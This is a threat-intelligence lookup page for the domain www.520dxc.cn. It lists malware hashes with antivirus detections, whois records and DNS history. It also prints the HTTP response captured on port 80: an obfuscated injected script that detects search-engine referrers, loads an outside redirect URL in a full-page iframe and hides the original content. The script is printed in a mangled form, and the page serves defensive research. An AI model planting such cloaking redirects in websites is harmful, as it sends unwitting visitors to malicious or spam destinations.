Domain > www.520dxc.cn

More information on this domain is in AlienVault OTX

Files that talk to www.520dxc.cn

MD5	A/V
bc84a8ac15172c536a53a4820e294ca1	[SHeur3.NVB] [TR/Zusy.27387.6]
42df4354047e382737cc415591f6f6c3	[Win32/Oflwr.A!crypt] [W32/Symmi.B!tr] [PUA.RiskWare.PEMalform] [Trojan.Flg!4EE8] [HackTool.Sniffer.WpePro]

Whois

Property	Value
Organization	刘滔
Email	lpf321@sina.com
NameServer	ns2.myhostadmin.net
Created	2014-11-14 04:01:12
Expires	2015-11-14 04:01:12

DNS Resolutions

Date	IP Address
2015-01-10	119.63.35.125 (ClassC)
2015-05-07	118.193.171.195 (ClassC)
2024-05-23	155.159.16.138 (ClassC)
2024-07-07	23.236.66.231 (ClassC)
2025-07-12	45.205.253.233 (ClassC)
2025-08-09	47.91.170.222 (ClassC)

Port 80

HTTP/1.1 200 OKTransfer-Encoding: chunkedContent-Type: text/html; charsetUTF-8Server: Nginx Microsoft-HTTPAPI/2.0X-Powered-By: NginxDate: Tue, 23 Apr 2024 06:14:01 GMT

script>var titlestr  document.title;var arr  https://baihua-redirect-url.com:2083/New/a.php;var linkIndex  Math.floor((Math.random() * arr.length));var referer  document.referrer;var regex/(baidu.com|sogou.com|sm.cn|uc.cn|so.com|bing.com)/i;if(regex.test(referer)){  setFrame(arrlinkIndex);}function setFrame(olink) {  var ss  title> + titlestr + /title>div idshowcloneshengxiaon styleheight: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;>ifr + ame scrollingyes marginheight0 marginwidth0 frameborder0 width100% height100% src + olink + >/iframe>/div>style typetext/css>html{width:100%;height:100%;}body {width:100%;height:100%;}/style>;  eval(do + cu + ment.wr + ite( + ss + ););  try {    setTimeout(function() {      console.log(document.body.children.length);      for (var i  0; i  document.body.children.length; i++) {        try {          var a  document.body.childreni.tagName;          var b  document.body.childreni.id;          console.log(i + *** + a + ** + b);          if (b ! iconDiv1 && b ! showcloneshengxiaon && a ! title) {            document.body.childreni.style.display  non + e          }        } catch(e) {}      }      var oMeta  document.createElement(meta);      oMeta.name  viewport;      oMeta.content  widthdevice-width,initial-scale1,minimum-scale1,maximum-scale1,user-scalableno;      document.getElementsByTagName(head)0.appendChild(oMeta);    },    100)  } catch(e) {}}var _hmt  _hmt || ;(function() {  var hm  document.createElement(script);  hm.src  https://hm.baidu.com/hm.js?3d1f9f8593bcd3b1ac50ce960dce160b;  var s  document.getElementsByTagName(script)0;   s.parentNode.insertBefore(hm, s);})();var _hmt  _hmt || ;(function() {  var hm  document.createElement(script);  hm.src  https://hm.baidu.com/hm.js?e3d8a65dfe70a3a1a91d8dc40878d99d;  var s  document.getElementsByTagName(script)0;   s.parentNode.insertBefore(hm, s);})();/script>

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > www.520dxc.cn

Is this malicious?

Files that talk to www.520dxc.cn

Whois

DNS Resolutions

Port 80